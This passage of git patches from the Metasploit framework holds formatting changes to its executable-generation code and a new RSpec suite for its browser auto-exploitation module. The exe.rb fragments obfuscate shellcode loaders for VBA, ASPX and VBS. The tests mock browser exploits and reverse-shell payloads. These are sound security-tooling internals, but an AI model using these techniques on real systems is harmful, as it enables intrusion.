a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -34,7 +34,6 @@ Gem::Specification.new do |spec| 'msfconsole', 'msfd', 'msfelfscan', - 'msfencode', 'msfmachscan', 'msfpescan', 'msfrop', From b40e9f6d460bb0bbe87558bea38800314cdf0883 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Wed, 17 Jun 2015 01:10:18 +0100 Subject: [PATCH 0432/1013] util/exe - replace tabs with spaces ...formatting should be okay still --- lib/msf/util/exe.rb | 38 +++++++++++++++++++------------------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index b20a091633..79a2c42946 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -671,7 +671,7 @@ require 'msf/core/exe/segment_appender' msi = self.get_file_contents(template) - section_size = 2**(msi[30..31].unpack('v')[0]) + section_size = 2**(msi[30..31].unpack('v')[0]) # This table is one of the few cases where signed values are needed sector_allocation_table = msi[section_size..section_size*2].unpack('l<*') @@ -978,24 +978,24 @@ require 'msf/core/exe/segment_appender' def self.to_vba(framework,code,opts = {}) hash_sub = {} - hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize # put the shellcode bytes into an array hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray]) @@ -1081,13 +1081,13 @@ require 'msf/core/exe/segment_appender' def self.to_exe_aspx(exes = '', opts = {}) hash_sub = {} - hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file]) @@ -1729,8 +1729,8 @@ require 'msf/core/exe/segment_appender' set_handler: xor eax,eax -; push dword [fs:eax] -; mov dword [fs:eax], esp +; push dword [fs:eax] +; mov dword [fs:eax], esp push eax ; LPDWORD lpThreadId (NULL) push eax ; DWORD dwCreationFlags (0) push eax ; LPVOID lpParameter (NULL) @@ -1741,10 +1741,10 @@ require 'msf/core/exe/segment_appender' call ebp ; Spawn payload thread pop eax ; Skip -; pop eax ; Skip +; pop eax ; Skip pop eax ; Skip popad ; Get our registers back -; sub esp, 44 ; Move stack pointer back past the handler +; sub esp, 44 ; Move stack pointer back past the handler ^ stub_final = %Q^ From 37546c7e18b6df33b53c15f0ac800c8eea109f2b Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Wed, 17 Jun 2015 01:13:33 +0100 Subject: [PATCH 0433/1013] to_exe_vbs - Allow for exe_filename to be defined --- lib/msf/util/exe.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 79a2c42946..7d6ea6e274 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1035,16 +1035,16 @@ require 'msf/core/exe/segment_appender' persist = opts[:persist] || false hash_sub = {} + hash_sub[:exe_filename] = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8)+8) << '.exe' hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:exe_filename] = Rex::Text.rand_text_alpha(rand(8)+8) << '.exe' - hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:hex_shellcode] = exes.unpack('H*').join('') From 089579e3542b7e6bb51105803bf293f0914d54cc Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 16 Jun 2015 23:04:12 -0500 Subject: [PATCH 0434/1013] This is how much rspec I have so far for browser_autopwnv2_spec.rb --- .../core/exploit/browser_autopwnv2_spec.rb | 537 ++++++++++++++++++ 1 file changed, 537 insertions(+) create mode 100644 spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb new file mode 100644 index 0000000000..b724cef4cc --- /dev/null +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -0,0 +1,537 @@ +require 'msf/core' + +describe Msf::Exploit::Remote::BrowserAutopwnv2 do + + + + # + # Recreate the environment (framework, mixins, etc) + # + + + + def mock_note_destroy + # The destory method doesn't pass the note as an argument like framework.jobs_stop_job. + # So here's I'm just gonna clear them all, and that sort of mimics #destroy. + framework = double('Msf::Framework', datastore: {}) + + # This empties it + notes = [] + + db = double('db') + allow(db).to receive(:notes).and_return(notes) + allow(framework).to receive(:db).and_return(db) + + allow(subject).to receive(:framework).and_return(framework) + end + + def create_fake_note(tag, data) + note = double('note') + + allow(note).to receive(:ntype).and_return(tag) + allow(note).to receive(:data).and_return(data) + allow(note).to receive(:destroy) { mock_note_destroy } + + note + end + + def mock_stop_job(arg) + framework = double('Msf::Framework', datastore: {}) + jobs = subject.framework.jobs.delete_if {|e| e.first == arg.to_s} + allow(jobs).to receive(:stop_job) { |arg| mock_stop_job(arg) } + allow(framework).to receive(:jobs).and_return(jobs) + allow(subject).to receive(:framework).and_return(framework) + end + + def create_fake_job(id) + [id.to_s, double('job')] + end + + def create_fake_exploit(opts={}) + full_name = opts[:full_name] + rank = opts[:rank] || 400 + disclosure_date = opts[:disclosure_date] || 'Dec 21 2014' + compat_payloads = opts[:compat_payloads] || [] + datastore_options = opts[:datastore_options] || {} + + mod = Msf::Exploit.new + mod.extend(Msf::Exploit::Remote::BrowserExploitServer) + + allow(mod).to receive(:fullname).and_return(full_name) + allow(mod).to receive(:rank).and_return(rank) + allow(mod).to receive(:disclosure_date).and_return(disclosure_date) + allow(mod).to receive(:compatible_payloads).and_return(compat_payloads) + allow(mod).to receive(:datastore).and_return(datastore_options) + + mod + end + + def create_fake_ms14_064 + compat_payloads = ['windows/meterpreter/reverse_tcp'] + + create_fake_exploit( + full_name: 'windows/browser/ms14_064_ole_code_execution', + rank: 600, + disclosure_date: 'Nov 13 2014', + compat_payloads: compat_payloads, + datastore_options: {'URI'=>'/ms14_064'} + ) + end + + def create_fake_flash_net_connection_confusion + compat_payloads = ['windows/meterpreter/reverse_tcp', 'linux/x86/meterpreter/reverse_tcp'] + + create_fake_exploit( + full_name: 'multi/browser/adobe_flash_net_connection_confusion', + rank: 500, + disclosure_date: 'Mar 12 2015', + compat_payloads: compat_payloads, + datastore_options: {'URI'=>'/flash1'} + ) + end + + def create_fake_flash_uncompress_zlib_uaf + compat_payloads = ['windows/meterpreter/reverse_tcp', 'linux/x86/meterpreter/reverse_tcp'] + + create_fake_exploit( + full_name: 'multi/browser/adobe_flash_uncompress_zlib_uaf', + rank: 500, + disclosure_date: 'Apr 28 2014', + compat_payloads: compat_payloads, + datastore_options: {'URI'=>'/flash2'} + ) + end + + def create_fake_windows_meterpreter + p = Msf::Payload.new + p.platform.platforms << Msf::Module::Platform::Windows + p.arch << 'x86' + p.datastore['LPORT'] = '4444' + allow(p).to receive(:fullname).and_return('windows/meterpreter/reverse_tcp') + allow(p).to receive(:shortname).and_return('reverse_tcp') + + p + end + + def create_fake_linux_meterpreter + p = Msf::Payload.new + p.platform.platforms << Msf::Module::Platform::Linux + p.arch << 'x86' + p.datastore['LPORT'] = '4445' + allow(p).to receive(:fullname).and_return('linux/x86/meterpreter/reverse_tcp') + allow(p).to receive(:shortname).and_return('reverse_tcp') + + p + end + + def mock_payload_create(full_name) + available_payloads.each do |p| + return p if p.fullname == full_name + end + + nil + end + + def mock_exploit_create(full_name) + available_exploits.each do |x| + return x if x.fullname == full_name + end + + nil + end + + let(:available_exploits) do + @exploits ||= lambda { + exploits = [] + + exploits << create_fake_ms14_064 + exploits << create_fake_flash_uncompress_zlib_uaf + exploits << create_fake_flash_net_connection_confusion + + exploits + }.call + end + + let(:available_payloads) do + @payloads ||= lambda { + payloads = [] + + payloads << create_fake_windows_meterpreter + payloads << create_fake_linux_meterpreter + + payloads + }.call + end + + let(:fake_exploit_hash) do + exploits = {} + + available_exploits.each do |x| + exploits[x.fullname.to_s] = '__SYMBOLIC__' + end + + exploits + end + + let(:autopwn_datastore_options) do + { + 'SRVHOST' => '0.0.0.0', + 'SRVPORT' => 8080, + 'MaxExploits' => 20, + 'MaxSessions' => -1, + 'PAYLOAD_ANDROID' => 'android/meterpreter/reverse_tcp', + 'PAYLOAD_FIREFOX' => 'firefox/shell_reverse_tcp', + 'PAYLOAD_GENERIC' => 'generic/shell_reverse_tcp', + 'PAYLOAD_JAVA' => 'java/meterpreter/reverse_tcp', + 'PAYLOAD_LINUX' => 'linux/x86/meterpreter/reverse_tcp', + 'PAYLOAD_OSX' => 'osx/x86/shell_reverse_tcp', + 'PAYLOAD_UNIX' => 'cmd/unix/reverse', + 'PAYLOAD_WIN' => 'windows/meterpreter/reverse_tcp', + 'PAYLOAD_ANDROID_LPORT' => 4443, + 'PAYLOAD_FIREFOX_LPORT' => 4442, + 'PAYLOAD_GENERIC_LPORT' => 4459, + 'PAYLOAD_JAVA_LPORT' => 4448, + 'PAYLOAD_LINUX_LPORT' => 4445, + 'PAYLOAD_OSX_LPORT' => 4447, + 'PAYLOAD_UNIX_LPORT' => 4446, + 'PAYLOAD_WIN_LPORT' => 4444 + } + end + + # When unpacked, this gives us: + # { + # "BAP.1433806920.Client.blLGFIlwYrxfvcY" => { + # "source" => "script", + # "os_name" => "Windows 8.1", + # "os_vendor" => "undefined", + # "os_device" => "undefined", + # "ua_name" => "Firefox", + # "ua_ver" => "35.0", + # "arch" => "x86", + # "java" => "1.7", + # "silverlight" => "false", + # "flash" => "14.0", + # "vuln_test" => "true", + # "proxy" => false, + # "language" => "en-US,en;q=0.5", + # "tried" => true + # }} + let(:profile_packed_data) do + "\x81\xD9%BAP.1433806920.Client.blLGFIlwYrxfvcY\x8E\xA6source\xA6script\xA7os_name\xABWindows 8.1\xA9os_vendor\xA9undefined\xA9os_device\xA9undefined\xA7ua_name\xA7Firefox\xA6ua_ver\xA435.0\xA4arch\xA3x86\xA4java\xA31.7\xABsilverlight\xA5false\xA5flash\xA414.0\xA9vuln_test\xA4true\xA5proxy\xC2\xA8language\xC4\x0Een-US,en;q=0.5\xA5tried\xC3" + end + + let(:profile_tag) do + MessagePack.unpack(profile_packed_data).keys.first.split('.')[3] + end + + let(:note_type_prefix) do + MessagePack.unpack(profile_packed_data).keys.first.split('.')[0,3] * "." + end + + + before(:each) do + framework = double('Msf::Framework', datastore: {}) + + # Prepare fake notes + notes = [create_fake_note("#{note_type_prefix}.#{profile_tag}", profile_packed_data)] + + # Prepare framework.db + db = double('db') + allow(db).to receive(:report_note).with(kind_of(Hash)) { mock_report_note } + allow(db).to receive(:notes).and_return(notes) + allow(db).to receive(:active).and_return(true) + allow(framework).to receive(:db).and_return(db) + + # Prepare framework.exploits + exploits = double('exploits') + allow(exploits).to receive(:create) { |arg| mock_exploit_create(arg) } + allow(exploits).to receive(:each_pair).and_yield(available_exploits[0].fullname, '__SYMBOLIC__').and_yield(available_exploits[1].fullname, '__SYMBOLIC__').and_yield(available_exploits[2].fullname, '__SYMBOLIC__') + allow(framework).to receive(:exploits).and_return(exploits) + + # Prepare jobs + jobs = {'0' => create_fake_job(0)} + allow(jobs).to receive(:stop_job) { |arg| mock_stop_job(arg) } + allow(framework).to receive(:jobs).and_return(jobs) + + # Prepare payloads + payloads = {} + available_payloads.each do |p| + payloads[p.fullname] = "__SYMBOLIC__" + end + allow(payloads).to receive(:create) { |arg| mock_payload_create(arg) } + allow(framework).to receive(:payloads).and_return(payloads) + + allow_any_instance_of(described_class).to receive(:framework).and_return(framework) + end + + subject do + mod = Msf::Exploit::Remote.allocate + mod.extend described_class + mod.send(:initialize) + mod.send(:datastore=, autopwn_datastore_options) + allow(mod).to receive(:fullname).and_return('multi/browser/autopwn') + mod + end + + + + # + # Method testing starts here + # + + + + describe '#init_exploits' do + before(:each) do + allow(subject).to receive(:set_exploit_options) + subject.instance_variable_set(:@bap_exploits, []) + end + + context 'when two exploits are loaded' do + it 'saves two exploits in instance variable @bap_exploits' do + subject.init_exploits + expect(subject.instance_variable_get(:@bap_exploits).length).to eq(3) + end + end + end + + describe '#note_type_prefix' do + it 'returns an unique note type' do + expect(subject.note_type_prefix).to match(/^BAP\.\d+\.Client$/) + end + end + + describe '#rm_target_info_notes' do + before(:each) do + allow(subject).to receive(:note_type_prefix).and_return("#{note_type_prefix}.#{profile_tag}") + end + + it 'empties target_info_notes' do + subject.rm_target_info_notes + expect(subject.framework.db.notes).to be_empty + end + end + + context 'when removing jobs' do + let(:job_ids) do + ids = [] + + subject.framework.jobs.each do |job| + ids << job.first.to_i + end + + ids + end + + describe '#rm_exploit_jobs' do + before(:each) do + subject.instance_variable_set(:@exploit_job_ids, job_ids) + end + + it 'empties jobs' do + expect(subject.framework.jobs.length).to eq(1) + subject.rm_exploit_jobs + expect(subject.framework.jobs).to be_empty + end + end + + describe '#rm_payload_jobs' do + before(:each) do + subject.instance_variable_set(:@payload_job_ids, job_ids) + end + + it 'empties jobs' do + expect(subject.framework.jobs.length).to eq(1) + subject.rm_payload_jobs + expect(subject.framework.jobs).to be_empty + end + end + end + + describe '#set_exploit_options' do + before(:each) do + payload_info = { + payload_name: 'windows/meterpreter/reverse_tcp', + payload_lport: 4444 + } + + allow(subject).to receive(:select_payload).and_return([payload_info]) + end + + let(:xploit) do + create_fake_ms14_064 + end + + context 'when a module is given' do + before(:each) do + subject.instance_variable_set(:@bap_exploits, []) + subject.init_exploits + subject.set_exploit_options(xploit) + end + + it 'sets the datastore options' do + expect(xploit.datastore['URIPATH']).to match(/^\/\w+/) + end + + it 'sets Msf::Exploit::Remote::BrowserAutopwnv2 as MODULEOWNER' do + expect(xploit.datastore['MODULEOWNER']).to eq(Msf::Exploit::Remote::BrowserAutopwnv2) + end + end + end + + describe '#is_resource_taken?' do + before(:each) do + allow(subject).to receive(:set_exploit_options) + subject.instance_variable_set(:@bap_exploits, []) + subject.init_exploits + end + + let(:repeated_resource) { '/flash1' } + + let(:non_repeated_resource) { '/unique' } + + context 'when a resource is repeated' do + it 'returns true' do + expect(subject.is_resource_taken?(repeated_resource)).to be_truthy + end + end + + context 'when a resource is not repeated' do + it 'returns false' do + expect(subject.is_resource_taken?(non_repeated_resource)).to be_falsey + end + end + end + + describe '#assign_module_resource' do + it 'returns a resource' do + allow(subject).to receive(:is_resource_taken?).and_return(false) + expect(subject.assign_module_resource).to match(/^\w+$/) + end + end + + + context 'when sorting' do + before(:each) do + allow(subject).to receive(:set_exploit_options) + subject.instance_variable_set(:@bap_exploits, []) + subject.init_exploits + end + + let(:bap_groups) { subject.group_bap_modules } + + describe '#sort_date_in_group' do + it 'returns modules sorted by date' do + unsorted_first = 'multi/browser/adobe_flash_uncompress_zlib_uaf' + expect(bap_groups[500].first.fullname).to eq(unsorted_first) + + sorted_first = 'multi/browser/adobe_flash_net_connection_confusion' + expect(subject.sort_date_in_group(bap_groups)[500].first.fullname).to eq(sorted_first) + end + end + + describe '#sort_group_by_rank' do + it 'returns modules sorted by rank' do + unsorted_order = [0, 100, 200, 300, 400, 500, 600] + sorted_order = [0, 100, 200, 300, 400, 500, 600].reverse + + expect(bap_groups.keys).to eq(unsorted_order) + expect(subject.sort_group_by_rank(bap_groups).keys).to eq(sorted_order) + end + end + + describe '#group_bap_modules' do + it 'returns modules sorted by group' do + group_order = [0, 100, 200, 300, 400, 500, 600] + expect(bap_groups.keys).to eq(group_order) + end + end + + describe '#finalize_sorted_modules' do + context 'when MaxExploits is 1' do + it 'returns one exploit' do + expect(subject.instance_variable_get(:@bap_exploits).length).to eq(3) + + allow(subject).to receive(:datastore).and_return({'MaxExploits'=>1}) + subject.finalize_sorted_modules(bap_groups) + expect(subject.instance_variable_get(:@bap_exploits).length).to eq(1) + end + end + end + end + + describe '#get_selected_payload_name' do + context 'when windows platform is given' do + it 'returns windows/meterpreter/reverse_tcp' do + expect(subject.get_selected_payload_name('win')).to eq('windows/meterpreter/reverse_tcp') + end + end + end + + describe '#get_selected_payload_lport' do + end + + describe '#get_payload_lhost' do + end + + describe '#start_payload_listeners' do + end + + describe '#parse_rank' do + end + + describe '#is_payload_platform_compatible?' do + end + + describe '#is_payload_compatible?' do + end + + describe '#is_multi_platform_exploit?' do + end + + describe '#select_payload' do + end + + describe '#start_exploits' do + end + + describe '#show_ready_exploits' do + end + + describe '#start_service' do + end + + describe '#show_payloads' do + end + + describe '#set_payload' do + end + + describe '#get_suitable_exploits' do + end + + describe '#log_click' do + end + + describe '#show_real_list' do + end + + describe '#get_exploit_urls' do + end + + describe '#on_request_uri' do + end + + describe '#is_ip_targeted?' do + end + + describe '#session_count' do + end + + describe '#get_custom_404_url' do + end + + describe '#build_html' do + end + +end \ No newline at end of file From b1f68556f9c48896899b7fcd61b25309acd33ee1 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 17 Jun 2015 02:52:59 -0500 Subject: [PATCH 0435/1013] More testcases --- .../core/exploit/browser_autopwnv2_spec.rb | 232 ++++++++++++++++-- 1 file changed, 208 insertions(+), 24 deletions(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb index b724cef4cc..8d0ea39a78 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -25,7 +25,17 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do allow(subject).to receive(:framework).and_return(framework) end - def create_fake_note(tag, data) + + def mock_report_note(arg) + framework = double('Msf::Framework', datastore: {}) + notes = [create_fake_note('bap.clicks')] + db = double('db') + allow(db).to receive(:notes).and_return(notes) + allow(framework).to receive(:db).and_return(db) + allow(subject).to receive(:framework).and_return(framework) + end + + def create_fake_note(tag, data='') note = double('note') allow(note).to receive(:ntype).and_return(tag) @@ -53,6 +63,8 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do disclosure_date = opts[:disclosure_date] || 'Dec 21 2014' compat_payloads = opts[:compat_payloads] || [] datastore_options = opts[:datastore_options] || {} + job_id = opts[:job_id] || 0 + requirements = opts[:requirements] || {} mod = Msf::Exploit.new mod.extend(Msf::Exploit::Remote::BrowserExploitServer) @@ -62,66 +74,104 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do allow(mod).to receive(:disclosure_date).and_return(disclosure_date) allow(mod).to receive(:compatible_payloads).and_return(compat_payloads) allow(mod).to receive(:datastore).and_return(datastore_options) + allow(mod).to receive(:job_id).and_return(job_id) + allow(mod).to receive(:exploit_simple) mod end def create_fake_ms14_064 - compat_payloads = ['windows/meterpreter/reverse_tcp'] + compat_payloads = [ + [windows_meterpreter_reverse_tcp, create_fake_windows_meterpreter] + ] create_fake_exploit( full_name: 'windows/browser/ms14_064_ole_code_execution', rank: 600, disclosure_date: 'Nov 13 2014', compat_payloads: compat_payloads, - datastore_options: {'URI'=>'/ms14_064'} + datastore_options: {'URI'=>'/ms14_064'}, + job_id: 0, + requirements: {os_name: windows_81_regex} ) end def create_fake_flash_net_connection_confusion - compat_payloads = ['windows/meterpreter/reverse_tcp', 'linux/x86/meterpreter/reverse_tcp'] + compat_payloads = [ + [windows_meterpreter_reverse_tcp, create_fake_windows_meterpreter], + [linux_meterpreter_reverse_tcp, create_fake_linux_meterpreter] + ] create_fake_exploit( full_name: 'multi/browser/adobe_flash_net_connection_confusion', rank: 500, disclosure_date: 'Mar 12 2015', compat_payloads: compat_payloads, - datastore_options: {'URI'=>'/flash1'} + datastore_options: {'URI'=>'/flash1'}, + job_id: 1, + requirements: {os_name: windows_81_regex} ) end def create_fake_flash_uncompress_zlib_uaf - compat_payloads = ['windows/meterpreter/reverse_tcp', 'linux/x86/meterpreter/reverse_tcp'] + compat_payloads = [windows_meterpreter_reverse_tcp, linux_meterpreter_reverse_tcp] create_fake_exploit( full_name: 'multi/browser/adobe_flash_uncompress_zlib_uaf', rank: 500, disclosure_date: 'Apr 28 2014', compat_payloads: compat_payloads, - datastore_options: {'URI'=>'/flash2'} + datastore_options: {'URI'=>'/flash2'}, + job_id: 2, + requirements: {os_name: windows_81_regex} ) end - def create_fake_windows_meterpreter + def create_fake_payload(opts={}) + platforms = opts[:platforms] + archs = opts[:archs] + datastores = opts[:datastore_options] + fullname = opts[:fullname] + shortname = opts[:shortname] + p = Msf::Payload.new - p.platform.platforms << Msf::Module::Platform::Windows - p.arch << 'x86' - p.datastore['LPORT'] = '4444' - allow(p).to receive(:fullname).and_return('windows/meterpreter/reverse_tcp') - allow(p).to receive(:shortname).and_return('reverse_tcp') + + platforms.each do |platform| + p.platform.platforms << platform + end + + archs.each do |arch| + p.arch << arch + end + + datastores.each_pair do |key, value| + p.datastore[key] = value + end + + allow(p).to receive(:fullname).and_return(fullname) + allow(p).to receive(:shoftname).and_return(shortname) p end - def create_fake_linux_meterpreter - p = Msf::Payload.new - p.platform.platforms << Msf::Module::Platform::Linux - p.arch << 'x86' - p.datastore['LPORT'] = '4445' - allow(p).to receive(:fullname).and_return('linux/x86/meterpreter/reverse_tcp') - allow(p).to receive(:shortname).and_return('reverse_tcp') + def create_fake_windows_meterpreter + create_fake_payload( + platforms: [Msf::Module::Platform::Windows], + archs: ['x86'], + datastore_options: {'LPORT'=>'4444'}, + fullname: windows_meterpreter_reverse_tcp, + shortname: 'reverse_tcp' + ) + end - p + def create_fake_linux_meterpreter + create_fake_payload( + platforms: [Msf::Module::Platform::Linux], + archs: ['x86'], + datastore_options: {'LPORT'=>'4445'}, + fullname: linux_meterpreter_reverse_tcp, + shortname: 'reverse_tcp' + ) end def mock_payload_create(full_name) @@ -140,6 +190,18 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do nil end + let(:windows_meterpreter_reverse_tcp) do + 'windows/meterpreter/reverse_tcp' + end + + let(:linux_meterpreter_reverse_tcp) do + 'linux/x86/meterpreter/reverse_tcp' + end + + let(:windows_81_regex) do + /^(?:Microsoft )?Windows 8\.1/ + end + let(:available_exploits) do @exploits ||= lambda { exploits = [] @@ -178,7 +240,9 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do 'SRVHOST' => '0.0.0.0', 'SRVPORT' => 8080, 'MaxExploits' => 20, + 'LHOST' => '127.0.0.1', 'MaxSessions' => -1, + 'Custom404' => 'http://example.com', 'PAYLOAD_ANDROID' => 'android/meterpreter/reverse_tcp', 'PAYLOAD_FIREFOX' => 'firefox/shell_reverse_tcp', 'PAYLOAD_GENERIC' => 'generic/shell_reverse_tcp', @@ -237,7 +301,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do # Prepare framework.db db = double('db') - allow(db).to receive(:report_note).with(kind_of(Hash)) { mock_report_note } + allow(db).to receive(:report_note).with(kind_of(Hash)) { |arg| mock_report_note(arg) } allow(db).to receive(:notes).and_return(notes) allow(db).to receive(:active).and_return(true) allow(framework).to receive(:db).and_return(db) @@ -262,6 +326,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do allow(framework).to receive(:payloads).and_return(payloads) allow_any_instance_of(described_class).to receive(:framework).and_return(framework) + allow_any_instance_of(described_class).to receive(:report_note) { |arg| mock_report_note(arg) } end subject do @@ -351,7 +416,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do describe '#set_exploit_options' do before(:each) do payload_info = { - payload_name: 'windows/meterpreter/reverse_tcp', + payload_name: windows_meterpreter_reverse_tcp, payload_lport: 4444 } @@ -463,36 +528,137 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do describe '#get_selected_payload_name' do context 'when windows platform is given' do it 'returns windows/meterpreter/reverse_tcp' do - expect(subject.get_selected_payload_name('win')).to eq('windows/meterpreter/reverse_tcp') + expect(subject.get_selected_payload_name('win')).to eq(windows_meterpreter_reverse_tcp) end end end describe '#get_selected_payload_lport' do + context 'when windows platform is given' do + it 'returns 4444' do + expect(subject.get_selected_payload_lport('win')).to eq(4444) + end + end end describe '#get_payload_lhost' do + it 'returns LHOST' do + expect(subject.get_payload_lhost).to eq(autopwn_datastore_options['LHOST']) + end end describe '#start_payload_listeners' do end describe '#parse_rank' do + context 'when rank is 600' do + it 'returns Excellent' do + expect(subject.parse_rank(600)).to eq('Excellent') + end + end + + context 'when rank is 500' do + it 'returns Great' do + expect(subject.parse_rank(500)).to eq('Great') + end + end + + context 'when rank is 400' do + it 'returns Good' do + expect(subject.parse_rank(400)).to eq('Good') + end + end + + context 'when rank is 300' do + it 'returns Good' do + expect(subject.parse_rank(300)).to eq('Normal') + end + end + + context 'when rank is 200' do + it 'returns Average' do + expect(subject.parse_rank(200)).to eq('Average') + end + end + + context 'when rank is 100' do + it 'returns Low' do + expect(subject.parse_rank(100)).to eq('Low') + end + end + + context 'when rank is 0' do + it 'returns Manual' do + expect(subject.parse_rank(0)).to eq('Manual') + end + end end describe '#is_payload_platform_compatible?' do + let(:windows_payload) { create_fake_windows_meterpreter } + + context 'when a valid platform is given' do + it 'returns true' do + expect(subject.is_payload_platform_compatible?(windows_payload, 'win')).to be_truthy + end + end + + context 'when an invalid platform is given' do + it 'returns false' do + expect(subject.is_payload_platform_compatible?(windows_payload, 'linux')).to be_falsey + end + end end describe '#is_payload_compatible?' do + let(:windows_exploit) { create_fake_ms14_064 } + + context 'when a valid payload name is given' do + it 'returns true' do + expect(subject.is_payload_compatible?(windows_exploit, windows_meterpreter_reverse_tcp)).to be_truthy + end + end + + context 'when an invalid payload name is given' do + it 'returns false' do + expect(subject.is_payload_compatible?(windows_exploit, linux_meterpreter_reverse_tcp)).to be_falsey + end 